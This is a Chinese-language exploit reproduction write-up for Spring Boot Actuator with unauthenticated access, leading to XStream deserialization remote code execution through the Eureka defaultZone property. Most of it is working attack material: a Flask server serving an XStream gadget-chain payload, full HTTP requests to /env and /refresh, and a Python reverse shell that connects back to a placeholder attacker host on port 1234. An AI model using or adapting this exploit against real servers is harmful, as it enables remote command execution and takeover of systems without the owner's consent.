漏洞复现

扫描探测

使用的工具为:SB-Actuator
使用工具扫描发现目标地址存在Spring Boot Actuator未授权访问，可导致XStream反序列化RCE。

RCE

(1)编写利用脚本

执行的命令为ping DNSlog

#!/usr/bin/env python
# coding: utf-8

from flask import Flask, Response

app = Flask(__name__)


@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST'])
def catch_all(path):
  command = "ping DNSLOG"
  xml = """<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                       <string>/bin/bash</string>
                       <string>-c</string>
                       <string>{command}</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>""".format(command=command)
  return Response(xml, mimetype='application/xml')


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8090)

运行脚本

(2)设置 eureka.client.serviceUrl.defaultZone 属性

先查看原属性

http://${EUREKA_HOST}:${EUREKA_PORT}/eureka/,http://${EUREKA_HOST1}:${EUREKA_PORT}/eureka/

设置属性

POST /env HTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Sec-Ch-Ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68

eureka.client.serviceUrl.defaultZone=http://x.x.x.x:8090/mmd

(3)触发

刷新配置

POST /refresh HTTP/1.1
Host: x.x.x.x
Sec-Ch-Ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

反弹shell

#!/usr/bin/env python
# coding: utf-8

from flask import Flask, Response

app = Flask(__name__)


@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST'])
def catch_all(path):
  command = "python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"X.X.X.X\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);\'"
  xml = """<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                       <string>/bin/bash</string>
                       <string>-c</string>
                       <string>{command}</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>""".format(command=command)
  return Response(xml, mimetype='application/xml')


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8090)

(4)恢复 eureka.client.serviceUrl.defaultZone

设置属性
刷新配置